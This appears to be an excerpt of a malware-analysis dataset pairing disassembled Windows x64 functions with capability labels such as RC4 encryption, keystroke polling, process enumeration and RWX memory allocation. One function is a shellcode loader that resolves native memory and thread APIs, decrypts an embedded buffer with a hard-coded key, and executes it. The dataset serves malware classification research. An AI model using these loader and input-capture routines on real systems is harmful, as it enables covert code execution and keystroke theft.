joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001ed20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
xor r14d, r14d
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rsi, rdx
movsxd rdi, r9d
mov rbp, rcx
test r9d, r9d
jle 0x14001ef11
lea rbx, [r8 + 0x20]
xor r13d, r13d
lea r8d, [r14 + 1]
mov r11d, pe_nt_image_headers64
xorps xmm7, xmm7
movss xmm6, dword [rbx - 0x20]
comiss xmm6, xmm7
jbe 0x14001edc2
movsxd r10, dword [rsi + 0x24]
mov r9, qword [rsi + 8]
movsx ecx, r11w
movzx eax, byte [r10 + r9 + 7]
movzx edx, byte [r10 + r9 + 6]
imul edx, ecx
movsx ecx, r11w
add dx, ax
movzx eax, byte [r10 + r9 + 5]
movsx r8d, dx
movzx edx, byte [r10 + r9 + 4]
imul edx, ecx
add ax, dx
cwde
sub eax, r8d
mov r8d, 1
movd xmm0, eax
jmp 0x14001ede4
movsxd rdx, dword [rsi + 0x1c]
mov rax, qword [rsi + 8]
xorps xmm6, xmmword [0x14003db40]
movzx ecx, byte [rdx + rax + 0x12]
movzx eax, byte [rdx + rax + 0x13]
shl ecx, 8
add ecx, eax
movd xmm0, ecx
mov al, byte [rbp + 0x20]
xor r15d, r15d
cvtdq2ps xmm0, xmm0
mov byte [rbx], al
mov al, byte [rbp + 0x24]
mov byte [rbx + 1], al
divss xmm6, xmm0
cmp dword [rbx - 0x10], r15d
jle 0x14001ef04
mov rcx, qword [rsp + 0xe0]
mov rax, r13
shl rax, 4
add rcx, 6
xor r12d, r12d
add rcx, rax
mov qword [rsp + 0x60], rcx
mov rax, qword [rbx - 0x18]
test rax, rax
jne 0x14001ee32
mov edx, dword [rbx - 0x1c]
add edx, r15d
jmp 0x14001ee36
mov edx, dword [rax + r12]
mov rcx, rsi
call fcn.14001e484
mov edx, eax
xorps xmm3, xmm3
mov eax, dword [rbp + 0x24]
xorps xmm2, xmm2
mov rcx, rsi
cvtsi2ss xmm3, rax
mov eax, dword [rbp + 0x20]
cvtsi2ss xmm2, rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x30], rax
movss dword [rsp + 0x28], xmm7
mulss xmm3, xmm6
mulss xmm2, xmm6
movss dword [rsp + 0x20], xmm7
call fcn.14001e8bc
mov rcx, qword [rsp + 0x60]
mov r8d, 1
movzx eax, word [rbp + 0x20]
add r14d, r8d
sub ax, word [rsp + 0xd8]
add r13, r8
add ax, word [rbp + 0x1c]
add r15d, r8d
add ax, word [rsp + 0x50]
add r12, 4
sub ax, r8w
mov word [rcx - 2], ax
movzx eax, word [rbp + 0x24]
sub ax, word [rsp + 0x54]
add ax, word [rbp + 0x1c]
add ax, word [rsp + 0x58]
sub ax, r8w
mov word [rcx], ax
add rcx, 0x10
mov qword [rsp + 0x60], rcx
cmp r15d, dword [rbx - 0x10]
jl 0x14001ee21
mov r11d, pe_nt_image_headers64
add rbx, 0x28
sub rdi, r8
jne 0x14001ed70
movaps xmm7, xmmword [rsp + 0x70]
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov eax, r14d
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140020070
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140068b80]
xor rax, rsp
mov qword [rbp - 8], rax
call fcn.140009004
mov rcx, qword [0x140069138]
lea rdx, [rbp - 0x18]
mov rdi, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [rbp - 0x10]
sub ecx, dword [rbp - 0x18]
movd xmm1, ecx
mov ecx, dword [rbp - 0xc]
sub ecx, dword [rbp - 0x14]
cvtdq2ps xmm1, xmm1
movd xmm0, ecx
lea rcx, [rbp - 0x20]
cvtdq2ps xmm0, xmm0
movss dword [rdi + 8], xmm1
movss dword [rdi + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp - 0x20]
xorps xmm1, xmm1
sub rax, qword [0x140069140]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x140069148]
mov ecx, 0x11
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rdi + 0x10], xmm1
mov rax, qword [rbp - 0x20]
mov qword [0x140069140], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov bl, 1
and al, bl
mov ecx, 0x10
mov byte [rdi + 0x128], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, bl
mov byte [rdi + 0x129], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, bl
mov byte [rdi + 0x12b], 0
mov byte [rdi + 0x12a], al
call fcn.140009004
cmp byte [rax + 0x3a7], 0
lea rbx, [rax + 0x110]
je 0x140020199
cvttss2si ecx, dword [rbx]
lea rdx, [rbp - 0x30]
cvttss2si eax, dword [rax + 0x114]
mov dword [rbp - 0x30], ecx
mov rcx, qword [0x140069138]
mov dword [rbp - 0x2c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rbp - 0x2c]
mov ecx, dword [rbp - 0x30]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov eax, 0xff7fffff
mov dword [rbx], eax
mov dword [rbx + 4], eax
call qword [sym.imp.USER32.dll_GetActiveWindow]
cmp rax, qword [0x140069138]
jne 0x1400201ee
lea rcx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x1400201ee
mov rcx, qword [0x140069138]
lea rdx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x1400201ee
movd xmm0, dword [rbp - 0x28]
movd xmm1, dword [rbp - 0x24]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbx], xmm0
movss dword [rbx + 4], xmm1
cmp byte [rdi + 0xc8], 0
je 0x1400201fc
or eax, 0xffffffff
jmp 0x140020201
call fcn.140009040
cmp dword [0x140067138], eax
je 0x140020214
mov dword [0x140067138], eax
call fcn.14002023c
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14003b580
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x1400366b4
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x140068b80]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
jmp 0x140036719
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x14003674d
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1400366fa
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1400694d8]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14003b580
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov dword [0x1400694d8], eax
jmp 0x14003672c

Function at 0x1400367bc
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140068b80]
xor rax, rsp
mov qword [rbp - 8], rax
mov edi, r8d
mov rsi, rdx
xor eax, eax
cmp ecx, 0x7b
ja 0x1400367fc
movsxd rax, ecx
lea rcx, [0x1400677a0]
mov rax, qword [rcx + rax*8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
and qword [rbp - 0x18], 0
mov edx, 0xf
mov qword [rbp - 0x10], rdx
mov byte [rbp - 0x28], 0
test rax, rax
jne 0x140036840
mov qword [rbp - 0x18], 0xa
movsd xmm0, qword [str.Select_Key]
movsd qword [rbp - 0x28], xmm0
movzx eax, word [0x140060ad0]
mov word [rbp - 0x20], ax
mov byte [rbp - 0x1e], 0
jmp 0x140036850
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.1400375fc
mov rdx, qword [rbp - 0x10]
cmp edi, 1
jne 0x1400368a0
lea eax, [rdi + 0xc]
cmp rdx, rax
jb 0x140036886
lea rbx, [rbp - 0x28]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x28]
mov qword [rbp - 0x18], rax
mov r8d, eax
lea rdx, str.Press_the_key
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xd], 0
jmp 0x14003689c
lea r9, str.Press_the_key
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.140031190
mov rdx, qword [rbp - 0x10]
mov dword [rbp - 0x30], 0x42fa0000
mov dword [rbp - 0x2c], 0x41a00000
lea rcx, [rbp - 0x28]
cmp rdx, 0xf
cmova rcx, qword [rbp - 0x28]
lea rdx, [rbp - 0x30]
call fcn.140025a04
test al, al
je 0x1400368e7
test edi, edi
jne 0x1400368e7
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], edi
xor r9d, r9d
mov r8, rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140036925
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036920
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140036920
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003b18c
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14003b580
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140036948
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, str.win32u
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUserSendInput
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1400369bd
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUserSendInput
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1400369bd
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.SendInput
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140036a2c
lea rcx, str.win32u
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUserGetAsyncKeyState
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, rax
test rax, rax
jne 0x140036a30
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUserGetAsyncKeyState
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, rax
test rax, rax
jne 0x140036a30
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140060ab0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, rax
test rax, rax
jne 0x140036a30
xor al, al
jmp 0x140036a8c
movups xmm0, xmmword [rbx]
movups xmmword [0x1400693c8], xmm0
movsd xmm1, qword [rbx + 0x10]
movsd qword [0x1400693d8], xmm1
mov eax, dword [rbx + 0x18]
mov dword [0x1400693e0], eax
movzx eax, word [rbx + 0x1c]
mov word [0x1400693e4], ax
movups xmm0, xmmword [r8]
movups xmmword [0x1400693e8], xmm0
movsd xmm1, qword [r8 + 0x10]
movsd qword [0x1400693f8], xmm1
mov eax, dword [r8 + 0x18]
mov dword [0x140069400], eax
movzx eax, word [r8 + 0x1c]
mov word [0x140069404], ax
mov al, 1
add rsp, 0x20
pop rbx
ret

Function at 0x140037668
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
movdqa xmm0, xmmword [str.________________]
xor eax, eax
movdqa xmmword [rsp], xmm0
mov rdx, rcx
movd xmm0, dword [rsp]
movd xmm1, eax
add eax, 4
pshufd xmm1, xmm1, 0
paddd xmm1, xmmword [0x140061cb0]
andps xmm1, xmmword [0x140061cc0]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rdx]
xorps xmm1, xmm0
movd dword [rdx], xmm1
lea rdx, [rdx + 4]
cmp eax, 0x20
jb 0x14003767e
mov byte [rcx + 0x20], 0
mov rax, rcx
add rsp, 0x18
ret
Function at 0x14003a21c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xb0
xor edi, edi
lea r8, [0x1400370c0]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [rsp + 0x64], edi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x98], rdi
call qword [sym.imp.GDI32.dll_GetStockObject]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rsp + 0x90], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rsi, str.Notepad
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x60]
lea rax, [0x14003727c]
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x60], 3
call qword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x14003a2d6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_n_Notepad
call fcn.140030cd4
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], rdi
mov r9d, 0x80000000
mov qword [rsp + 0x50], rdi
xor r8d, r8d
mov qword [rsp + 0x48], rdi
mov rdx, rsi
mov qword [rsp + 0x40], rdi
xor ecx, ecx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rcx, rax
mov qword [0x1400694b0], rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1400694b0]
lea rdx, [0x140060a28]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1400694b0]
mov edx, 0xffffffec
mov r8d, 0x800a0
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x1400694b0]
call qword [sym.imp.USER32.dll_UpdateWindow]
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x14003bda8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003bdf2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003bdf2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003bdf2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003bdf2
cmp dword [rcx + 0x84], 0xe
jbe 0x14003bdf2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003bdf4
xor al, al
add rsp, 0x28
ret
Function at 0x1400010e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rsi
push rdi
sub rsp, 0x258
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x90], 0
mov qword [rsp + 0xa8], 0x1000
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x60], rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x68]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001ad98], eax
mov rax, qword [rsp + 0x68]
add rax, 0x12
mov qword [0x14001ad88], rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x70]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001ad70], eax
mov rax, qword [rsp + 0x70]
add rax, 0x12
mov qword [0x14001ad78], rax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x78]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001ad80], eax
mov rax, qword [rsp + 0x78]
add rax, 0x12
mov qword [0x14001ad90], rax
lea rdx, str.NtWaitForSingleObject
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x80], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x80]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001ad9c], eax
mov rax, qword [rsp + 0x80]
add rax, 0x12
mov qword [0x14001ada0], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0xa8]
xor r8d, r8d
lea rdx, [rsp + 0x90]
mov rcx, 0xffffffffffffffff
call fcn.140001390
lea rax, [rsp + 0xc0]
lea rcx, [0x140019a10]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x173
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xb0]
lea rcx, str.complexkey123
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
call fcn.1400010b0
mov qword [rsp + 0x88], 0x173
lea r8, [rsp + 0xb0]
mov rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0xc0]
call section..text
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x173
lea r8, [rsp + 0xc0]
mov rdx, qword [rsp + 0x90]
mov rcx, rax
call fcn.14000139f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x90]
mov qword [rsp + 0x20], rcx
mov r9, rax
xor r8d, r8d
mov edx, 0x20000000
lea rcx, [rsp + 0x98]
call fcn.1400013ae
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x98]
call fcn.1400013bd
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400013e0
add rsp, 0x258
pop rdi
pop rsi
ret

Function at 0x140005bd4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400059ec
Function at 0x140008c00
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008c30
xor eax, eax
jmp 0x140008cf3
mov rbp, rbx
cmp word [rax], si
je 0x140008c55
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008c3c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008c38
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008b20
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x140008c96
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008c29
call fcn.140009af0
mov rdi, rax
test rax, rax
jne 0x140008cac
xor ecx, ecx
call fcn.140007100
jmp 0x140008c8b
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008b20
test eax, eax
jne 0x140008cdd
mov rcx, rdi
call fcn.140007100
jmp 0x140008ce7
xor ecx, ecx
call fcn.140007100
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000c5fc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140007bd8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000c686
cmp byte [rbp - 0x21], r15b
je 0x14000c681
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000c6bc
call fcn.14000a334
test eax, eax
jne 0x14000c6a8
cmp byte [rbp - 0x21], r15b
je 0x14000c6a0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000c6bc
cmp byte [rbp - 0x21], r15b
je 0x14000c6b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000716c
test eax, eax
jne 0x14000c75c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140007bd8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000c6fb
cmp byte [rbp - 0x21], r15b
je 0x14000c730
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000c730
call fcn.14000a334
test eax, eax
jne 0x14000c71c
cmp byte [rbp - 0x21], r15b
je 0x14000c715
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000c730
cmp byte [rbp - 0x21], r15b
je 0x14000c72d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000716c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000c75c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000c75f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000c76d
mov rcx, rdi
call fcn.140007100
cmp byte [rbp + 0x3f], r15b
je 0x14000c77c
mov rcx, qword [rbp + 0x27]
call fcn.140007100
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140007130
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x1030
call fcn.14000be10
sub rsp, rax
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rsp + 0x1020], rax
mov rsi, rdx
xor edi, edi
lea rdx, [0x14002d824]
call fcn.1400039d0
mov rbx, rax
test rax, rax
je 0x140007192
lea rdx, [0x14002d91c]
mov rcx, rsi
call fcn.1400039d0
mov rsi, rax
mov rcx, rbx
test rax, rax
jne 0x14000719c
call fcn.14000f5a4
mov eax, 0xffffffff
jmp 0x140007231
call fcn.14000f63c
test eax, eax
jne 0x14000721f
nop word [rax + rax]
mov r9, rbx
lea rcx, [rsp + 0x20]
mov edx, 1
mov r8d, 0x1000
call fcn.14000f8f4
test rax, rax
je 0x140007206
mov r9, rsi
lea rcx, [rsp + 0x20]
mov r8, rax
mov edx, 1
call fcn.140010034
test rax, rax
je 0x140007201
mov rcx, rsi
call fcn.14000f668
test eax, eax
jne 0x140007201
mov rcx, rbx
call fcn.14000f63c
test eax, eax
je 0x1400071b0
jmp 0x14000721f
mov rcx, rsi
jmp 0x140007215
mov rcx, rbx
call fcn.14000f668
test eax, eax
je 0x14000721f
mov rcx, rbx
call fcn.140018254
mov edi, 0xffffffff
mov rcx, rbx
call fcn.14000f5a4
mov rcx, rsi
call fcn.14000f5a4
mov eax, edi
mov rcx, qword [rsp + 0x1020]
xor rcx, rsp
call fcn.14000bb10
lea r11, [rsp + 0x1030]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140007260
Capabilities:
Create directory

Disassembly:
push rdi
push r14
mov eax, 0x3058
call fcn.14000be10
sub rsp, rax
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rsp + 0x3030], rax
mov rdi, r8
mov r14, rcx
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r8 + rax], 0
jne 0x140007290
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rdx + rcx], 0
jne 0x1400072a1
inc rax
mov qword [rsp + 0x3050], rbx
add rax, rcx
mov qword [rsp + 0x3048], rbp
mov qword [rsp + 0x3040], rsi
cmp rax, 0x1000
jae 0x140007396
mov r9, rdx
mov dword [rsp + 0x20], 0x5c
mov edx, 0x1000
lea r8, str._s_c
lea rcx, [rsp + 0x30]
call fcn.140001c60
mov edx, 0x5c
movsxd rbp, eax
mov rcx, rdi
call fcn.14000c9a0
mov rbx, rax
test rax, rax
je 0x140007392
mov esi, 0x1000
sub rsi, rbp
lea rbp, [rsp + rbp + 0x30]
nop
mov r9d, ebx
mov qword [rsp + 0x20], rdi
sub r9d, edi
lea r8, [0x14002f47c]
mov rdx, rsi
mov rcx, rbp
call fcn.140001c60
lea rcx, [rsp + 0x30]
call fcn.140003970
test eax, eax
jne 0x14000737c
mov r8d, 0x1000
lea rdx, [rsp + 0x1030]
lea rcx, [rsp + 0x30]
call fcn.140008950
mov rdx, qword [r14 + 0x3038]
lea rcx, [rsp + 0x1030]
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
je 0x140007396
lea rcx, [rbx + 1]
mov edx, 0x5c
call fcn.14000c9a0
mov rbx, rax
test rax, rax
jne 0x140007320
xor eax, eax
jmp 0x14000739b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x3040]
mov rbp, qword [rsp + 0x3048]
mov rbx, qword [rsp + 0x3050]
mov rcx, qword [rsp + 0x3030]
xor rcx, rsp
call fcn.14000bb10
add rsp, 0x3058
pop r14
pop rdi
ret